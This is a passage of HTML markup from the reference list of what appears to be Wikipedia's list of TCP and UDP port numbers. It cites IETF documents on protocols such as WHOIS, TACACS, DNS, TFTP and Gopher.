title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Time+Protocol&amp;rft.pages=pp.-1-2&amp;rft.pub=IETF&amp;rft.date=1983-05&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC0868&amp;rft.aulast=Postel&amp;rft.aufirst=J.&amp;rft.au=Harrenstien%2C+K.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc868&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-ien116-28\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-ien116_28-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFPostel1979\" class=\"citation cs1\"><a href=\"/wiki/Jon_Postel\" title=\"Jon Postel\">Postel, J.</a> (August 1979). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/rfcmarkup?url=https://www.rfc-editor.org/ien/ien116.txt\"><i>Internet Name Server</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. IEN 116<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-09-28</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Internet+Name+Server&amp;rft.pub=IETF&amp;rft.date=1979-08&amp;rft.aulast=Postel&amp;rft.aufirst=J.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Frfcmarkup%3Furl%3Dhttps%3A%2F%2Fwww.rfc-editor.org%2Fien%2Fien116.txt&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc812-29\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc812_29-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFHarrenstienWhite1982\" class=\"citation cs1\">Harrenstien, Ken; White, Vic (1982-03-01). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc812#page-1\"><i>NICNAME/WHOIS</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;1. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC0812\">10.17487/RFC0812</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc812\">812</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-09-28</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=NICNAME%2FWHOIS&amp;rft.pages=p.-1&amp;rft.pub=IETF&amp;rft.date=1982-03-01&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC0812&amp;rft.aulast=Harrenstien&amp;rft.aufirst=Ken&amp;rft.au=White%2C+Vic&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc812%26%23035%3Bpage-1&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc954-30\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc954_30-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFHarrenstienStahlFeinler1985\" class=\"citation cs1\">Harrenstien, K.; Stahl, M.; Feinler, E. (October 1985). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc954#page-2\"><i>NICNAME/WHOIS</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;2. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC0954\">10.17487/RFC0954</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc954\">954</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-09-28</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=NICNAME%2FWHOIS&amp;rft.pages=p.-2&amp;rft.pub=IETF&amp;rft.date=1985-10&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC0954&amp;rft.aulast=Harrenstien&amp;rft.aufirst=K.&amp;rft.au=Stahl%2C+M.&amp;rft.au=Feinler%2C+E.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc954%26%23035%3Bpage-2&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc3912-31\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc3912_31-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFDaigle2004\" class=\"citation cs1\">Daigle, Leslie (September 2004). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc3912#page-2\"><i>WHOIS Protocol Specification</i></a>. Ran Atkinson, Ken Harrenstien, Mary Stahl, Elizabeth Feinler. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;2. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC3912\">10.17487/RFC3912</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc3912\">3912</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-09-28</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=WHOIS+Protocol+Specification&amp;rft.pages=p.-2&amp;rft.pub=IETF&amp;rft.date=2004-09&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC3912&amp;rft.aulast=Daigle&amp;rft.aufirst=Leslie&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc3912%26%23035%3Bpage-2&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc1492-32\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc1492_32-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFFinseth1993\" class=\"citation cs1\">Finseth, Craig A. (July 1993). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1492#page-7\"><i>An Access Control Protocol, Sometimes Called TACACS</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;7. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC1492\">10.17487/RFC1492</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1492\">1492</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-09-28</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=An+Access+Control+Protocol%2C+Sometimes+Called+TACACS&amp;rft.pages=p.-7&amp;rft.pub=IETF&amp;rft.date=1993-07&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC1492&amp;rft.aulast=Finseth&amp;rft.aufirst=Craig+A.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc1492%26%23035%3Bpage-7&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-33\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-33\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFTACACS+_Team2018\" class=\"citation cs1\">TACACS+ Team (15 April 2018). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/opsawg-tacacs-10\"><i>The TACACS+ Protocol</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. I-D opsawg-tacacs-10<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2018-07-18</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=The+TACACS%2B+Protocol&amp;rft.pub=IETF&amp;rft.date=2018-04-15&amp;rft.au=TACACS%2B+Team&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Fopsawg-tacacs-10&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-bbnreport5256-34\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-bbnreport5256_34-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFMalis1983\" class=\"citation web cs1\">Malis, Andrew G. (May 1983). <a rel=\"nofollow\" class=\"external text\" href=\"http://xn--brwolff-5wa.de/bbn-arpanet-reports-collection/BBN%20(1983)%20Logical%20Addressing%20Implementation%20Specification%20(Report%205256).pdf\">\"IMP Logical Addressing Implementation Specification, report 5256\"</a> <span class=\"cs1-format\">(PDF)</span>. BBN - Bolt Beranek and Newman Inc<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2018-07-18</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=IMP+Logical+Addressing+Implementation+Specification%2C+report+5256&amp;rft.pub=BBN+-+Bolt+Beranek+and+Newman+Inc.&amp;rft.date=1983-05&amp;rft.aulast=Malis&amp;rft.aufirst=Andrew+G.&amp;rft_id=http%3A%2F%2Fxn--brwolff-5wa.de%2Fbbn-arpanet-reports-collection%2FBBN%2520%281983%29%2520Logical%2520Addressing%2520Implementation%2520Specification%2520%28Report%25205256%29.pdf&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-xns-35\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-xns_35-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-xns_35-1\"><sup><i><b>b</b></i></sup></a> <a href=\"#cite_ref-xns_35-2\"><sup><i><b>c</b></i></sup></a> <a href=\"#cite_ref-xns_35-3\"><sup><i><b>d</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFIBM_Corp.2002\" class=\"citation web cs1\">IBM Corp. (14 September 2002). <a rel=\"nofollow\" class=\"external text\" href=\"http://ps-2.kev009.com/wisclibrary/aix52/usr/share/man/info/en_US/a_doc_lib/aixprggd/progcomc/ch12_xns.htm\">\"AIX 5.2 Communications Programming Concepts, Chapter 12. Xerox Network System\"</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2018-07-25</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=AIX+5.2+Communications+Programming+Concepts%2C+Chapter+12.+Xerox+Network+System&amp;rft.date=2002-09-14&amp;rft.au=IBM+Corp.&amp;rft_id=http%3A%2F%2Fps-2.kev009.com%2Fwisclibrary%2Faix52%2Fusr%2Fshare%2Fman%2Finfo%2Fen_US%2Fa_doc_lib%2Faixprggd%2Fprogcomc%2Fch12_xns.htm&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc1035-36\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc1035_36-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFMockapetris1987\" class=\"citation cs1\">Mockapetris, P. (November 1987). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1035\"><i>DNS Implementation and Specification</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC1035\">10.17487/RFC1035</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1035\">1035</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2018-07-18</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=DNS+Implementation+and+Specification&amp;rft.pub=IETF&amp;rft.date=1987-11&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC1035&amp;rft.aulast=Mockapetris&amp;rft.aufirst=P.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc1035&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc1060-37\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc1060_37-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFReynoldsPostel1990\" class=\"citation cs1\">Reynolds, J.; Postel, J. (March 1990). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1060#page-9\"><i>Assigned Numbers</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;9. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC1060\">10.17487/RFC1060</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1060\">1060</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2018-07-24</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Assigned+Numbers&amp;rft.pages=p.-9&amp;rft.pub=IETF&amp;rft.date=1990-03&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC1060&amp;rft.aulast=Reynolds&amp;rft.aufirst=J.&amp;rft.au=Postel%2C+J.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc1060%26%23035%3Bpage-9&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-ien169-38\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-ien169_38-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFBennett1981\" class=\"citation web cs1\">Bennett, C. J. (January 1981). <a rel=\"nofollow\" class=\"external text\" href=\"https://www.rfc-editor.org/ien/ien169.txt\">\"A Simple NIFTP-Based Mail System\"</a>. INDRA<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2018-07-18</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=A+Simple+NIFTP-Based+Mail+System&amp;rft.pub=INDRA&amp;rft.date=1981-01&amp;rft.aulast=Bennett&amp;rft.aufirst=C.+J.&amp;rft_id=https%3A%2F%2Fwww.rfc-editor.org%2Fien%2Fien169.txt&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-ien133-39\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-ien133_39-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFSollins1980\" class=\"citation cs1\">Sollins, Karen R. (1980-01-29). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/rfcmarkup?url=https://www.rfc-editor.org/ien/ien133.txt#page-6\"><i>The TFTP Protocol</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;6. IEN 133<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-16</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=The+TFTP+Protocol&amp;rft.pages=p.-6&amp;rft.pub=IETF&amp;rft.date=1980-01-29&amp;rft.aulast=Sollins&amp;rft.aufirst=Karen+R.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Frfcmarkup%3Furl%3Dhttps%3A%2F%2Fwww.rfc-editor.org%2Fien%2Fien133.txt%26%23035%3Bpage-6&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc783-40\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc783_40-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFSollins1981\" class=\"citation cs1\">Sollins, K.R. (June 1981). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc783\"><i>TFTP Protocol (revision 2)</i></a>. <a href=\"/wiki/Noel_Chiappa\" title=\"Noel Chiappa\">Noel Chiappa</a>, Bob Baldwin, <a href=\"/wiki/David_D._Clark\" title=\"David D. Clark\">Dave Clark</a>, Steve Szymanski, Larry Allen, Geoff Cooper, Mike Greenwald, Liza Martin, <a href=\"/wiki/David_P._Reed\" title=\"David P. Reed\">David Reed</a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. pp.&#160;6, 14, 16. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC0783\">10.17487/RFC0783</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc783\">783</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-16</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=TFTP+Protocol+%28revision+2%29&amp;rft.pages=pp.-6%2C+14%2C+16&amp;rft.pub=IETF&amp;rft.date=1981-06&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC0783&amp;rft.aulast=Sollins&amp;rft.aufirst=K.R.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc783&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc1350-41\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc1350_41-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFSollins1992\" class=\"citation cs1\">Sollins, Karen R. (July 1992). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1350\"><i>The TFTP Protocol (Revision 2)</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. pp.&#160;4–5, 9, 10. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC1350\">10.17487/RFC1350</a></span>. STD 33.&#32;<a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1350\">1350</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-16</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=The+TFTP+Protocol+%28Revision+2%29&amp;rft.pages=pp.-4-5%2C+9%2C+10&amp;rft.pub=IETF&amp;rft.date=1992-07&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC1350&amp;rft.aulast=Sollins&amp;rft.aufirst=Karen+R.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc1350&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc1436-42\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc1436_42-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFAnklesariaMcCahillLindnerJohnson1993\" class=\"citation cs1\">Anklesaria, Farhad; <a href=\"/wiki/Mark_P._McCahill\" title=\"Mark P. McCahill\">McCahill, M.</a>; Lindner, Paul; Johnson, David; Torrey, Daniel; Alberti, Bob (March 1993). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1436\"><i>The Internet Gopher Protocol (a distributed document search and retrieval protocol)</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. pp.&#160;1, 4–5, 7, 11–13. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC1436\">10.17487/RFC1436</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1436\">1436</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-16</span></span>. <q>...&#160;This protocol assumes a reliable data stream; TCP is assumed. Gopher servers should listen on port 70 (port 70 is assigned to Internet Gopher by IANA).&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=The+Internet+Gopher+Protocol+%28a+distributed+document+search+and+retrieval+protocol%29&amp;rft.pages=pp.-1%2C+4-5%2C+7%2C+11-13&amp;rft.pub=IETF&amp;rft.date=1993-03&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC1436&amp;rft.aulast=Anklesaria&amp;rft.aufirst=Farhad&amp;rft.au=McCahill%2C+M.&amp;rft.au=Lindner%2C+Paul&amp;rft.au=Johnson%2C+David&amp;rft.au=Torrey%2C+Daniel&amp;rft.au=Alberti%2C+Bob&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc1436&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc88-43\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc88_43-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFBraden1971\" class=\"citation cs1\">Braden, R. (1971-01-13). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc88\"><i>NETRJS: A third level protocol for Remote Job Entry</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC0088\">10.17487/RFC0088</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc88\">88</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-16</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=NETRJS%3A+A+third+level+protocol+for+Remote+Job+Entry&amp;rft.pub=IETF&amp;rft.date=1971-01-13&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC0088&amp;rft.aulast=Braden&amp;rft.aufirst=R.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc88&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc740-44\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc740_44-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFBraden1977\" class=\"citation 